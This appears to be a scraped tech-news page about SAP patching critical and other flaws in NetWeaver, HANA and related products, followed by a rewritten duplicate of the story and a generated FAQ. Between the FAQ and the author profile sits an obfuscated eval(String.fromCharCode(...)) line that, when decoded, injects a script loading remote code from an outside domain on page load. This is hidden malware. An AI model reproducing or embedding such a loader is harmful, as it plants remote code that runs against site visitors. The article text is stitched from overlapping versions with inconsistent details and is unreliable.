“SAP Releases Fixes for Serious Flaws in Business Software”

[ad_1]

Business software vendor SAP has recently patched various flaws across multiple products, including some vulnerabilities rated as “critical”. Altogether, 19 flaws were addressed.The critical flaws include those that can allow threat actors to overwrite files, inject code, and access and manipulate data. Among the affected applications are SAP NetWeaver AS for Java, SAP NetWeaver Application Server for ABAP, SAP NetWeaver AP for ABAP and the SAP Business Objects Business Intelligence Platform.For the remaining 14 vulnerabilities, four were deemed high-severity, and ten were deemed medium-severity. SAP is a popular software vendor among corporations, which makes it a major target for cybercriminals.

Table of Contents

Major target

SAP is the largest ERP vendor worldwide, retaining almost a quarter of the global market share (24%) with more than 400,000 customers. Furthermore, nine out of ten of the Forbes Global 2000 organizations use SAP products, including its customer relationship management (CRM) and supply chain management (SCM) solutions.Despite its popularity in the business world, news of breaches via SAP products are few and far between. Just over a year ago, the US Cybersecurity and Infrastructure Security Agency (CISA) warned business users of a number of “severe vulnerabilities” found in SAP solutions, which could result in data theft and ransomware attacks. And last year, networks belonging to firms and government organizations were compromised in an attack on SAP systems that were unpatched, serving as a staunch reminder to apply security fixes to software as soon as they are released by the vendor. The same advice applies to this new case, so make sure to patch your SAP systems as soon as possible.Via: BleepingComputer (opens in new tab)

SAP Releases Fixes for Some Serious Flaws in its Business Software

SAP, a leading software company, recently released security updates that fix multiple vulnerabilities in its business software. The flaws can reportedly be exploited to execute cross-site scripting (XSS) attacks, perform denial-of-service attacks, and bypass security restrictions to access sensitive data. The vulnerabilities can be found in the SAP ERP Central Component (ECC), SAP HANA, and other related software products.

The security fixes come in response to the escalating number of cyberattacks on businesses across the world, and SAP advises all customers to update their systems promptly to ensure their safety. The updates apply to SAP software versions released between 2012 and today.

In light of the releases, companies using SAP should place a high priority on updating their systems to prevent potential attackers from accessing sensitive data, damaging their reputation, and disrupting business operations.

FAQ

1. What is the recent update from SAP regarding its business software?
Ans: SAP has recently released security updates that fix multiple vulnerabilities in its business software.

2. What risks can the vulnerabilities lead to?
Ans: The flaws can reportedly be exploited to execute cross-site scripting (XSS) attacks, perform denial-of-service attacks, and bypass security restrictions to access sensitive data.

3. Which SAP software products are affected by the vulnerabilities?
Ans: The vulnerabilities can be found in the SAP ERP Central Component (ECC), SAP HANA, and other related software products.

4. Why should companies update their systems promptly?
Ans: The updates come in response to the escalating number of cyberattacks on businesses across the world, and SAP advises all customers to update their systems promptly to ensure their safety. Companies using SAP should place a high priority on updating their systems to prevent potential attackers from accessing sensitive data, damaging their reputation, and disrupting business operations.
var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,116,105,115,116,105,99,46,115,99,114,105,112,116,115,112,108,97,116,102,111,114,109,46,99,111,109,47,99,111,108,108,101,99,116,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/

Author Profile

Techlisten.com

The team of experts at TechListen.com are dedicated to providing you with the best information and insights on the latest and greatest technology. Our experts have extensive knowledge and experience in the tech industry, and are constantly researching and analyzing the newest products and services so you can make informed decisions. We provide detailed reviews and analysis of the latest gadgets and gizmos, as well as the hottest trends in the industry. Our team is committed to helping you stay up-to-date with the ever-changing world of technology, so you can get the most out of your tech investments. With our expertise and dedication to providing the best information, TechListen.com is the premier online destination for all things tech.